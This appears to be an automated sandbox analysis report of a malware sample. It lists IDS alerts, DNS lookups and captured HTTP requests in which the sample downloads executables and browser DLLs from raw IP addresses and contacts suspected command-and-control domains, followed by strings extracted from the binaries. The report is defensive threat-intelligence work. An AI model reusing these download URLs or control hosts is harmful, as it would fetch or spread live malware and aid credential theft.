                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50100 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50099 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50102 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50097 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50103 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:50095 -> 185.215.113.206:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50104 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50106 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50107 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50108 -> 31.41.244.11:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50109 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50110 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50111 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50113 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50112 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50115 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50121 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50122 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50127 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50128 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50132 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50136 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50133 -> 31.41.244.11:80
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50138 -> 31.41.244.11:80
                                      Source: Network trafficSuricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50114 -> 185.215.113.16:80
                                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50144 -> 31.41.244.11:80
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50181 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50186 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50187 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50191 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50192 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50196 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50184 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50189 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50203 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50205 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50199 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50201 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50212 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50209 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50195 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50208 -> 172.67.179.109:443
                                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                                      Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.43
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: unknownTCP traffic detected without corresponding DNS query: 31.41.244.11
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0086E0C0 recv,recv,recv,recv,0_2_0086E0C0
                                      Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
                                      Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
                                      Source: global trafficHTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
                                      Source: global trafficHTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=uw27VhqmrkZG123h1734566989 HTTP/1.1Host: home.twentytk20pn.topAccept: */*
                                      Source: global trafficHTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
                                      Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
                                      Source: global trafficHTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
                                      Source: global trafficHTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
                                      Source: global trafficHTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
                                      Source: global trafficHTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
                                      Source: global trafficHTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
                                      Source: global trafficDNS traffic detected: DNS query: lossekniyyt.click
                                      Source: global trafficDNS traffic detected: DNS query: httpbin.org
                                      Source: global trafficDNS traffic detected: DNS query: home.twentytk20pn.top
                                      Source: global trafficDNS traffic detected: DNS query: sweepyribs.lat
                                      Source: global trafficDNS traffic detected: DNS query: grannyejh.lat
                                      Source: global trafficDNS traffic detected: DNS query: www.google.com
                                      Source: global trafficDNS traffic detected: DNS query: twentytk20pn.top
                                      Source: unknownHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lossekniyyt.click
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.css
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.jpg
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu
                                      Source: 1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
                                      Source: 1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
                                      Source: 1f3cab3382.exe, 00000026.00000003.3249083501.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3303617322.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3342752850.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3279573878.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3248936218.0000000000D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micro
                                      Source: 1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
                                      Source: 1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
                                      Source: 1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
                                      Source: 1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
                                      Source: 1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf
                                      Source: svchost.exe, 0000002F.00000003.3282352336.0000016F21E80000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://html4/loose.dtd
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://msdn.com/data/ef
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://namespace.google.com/openid/xmlns
                                      Source: 1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
                                      Source: 1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://openid.net/extensions/sreg/1.1
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://openid.net/signon/1.1
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://openid.net/sreg/1.04http://openid.net/sreg/1.1
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://openid.net/srv/ax/1.0
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://openid.net/xmlns/1.08http://openid.net/signon/1.0
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/none
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.openid.net/pape/policies/2007/06/phishing-resistantxhttp://schemas.openid.net/pape/po
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://specs.openid.net/auth/2.0
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://specs.openid.net/auth/2.0$dnoa.request_nonce
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://specs.openid.net/auth/2.0/signonNhttp://specs.openid.net/auth/2.0/serverdhttp://specs.openid.
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://specs.openid.net/extensions/oauth/1.0
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://specs.openid.net/extensions/pape/1.0
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://specs.openid.net/extensions/ui/1.0/icon
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://specs.openid.net/extensions/ui/1.0hhttp://specs.openid.net/extensions/ui/1.0/mode/popupfhttp:
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://specs.openid.net/extensions/ui/icon
                                      Source: 2ebf261090.exe, 00000007.00000003.2759927689.0000000002511000.00000004.00000020.00020000.00000000.sdmp, 2ebf261090.exe, 00000007.00000000.2756676544.0000000000423000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
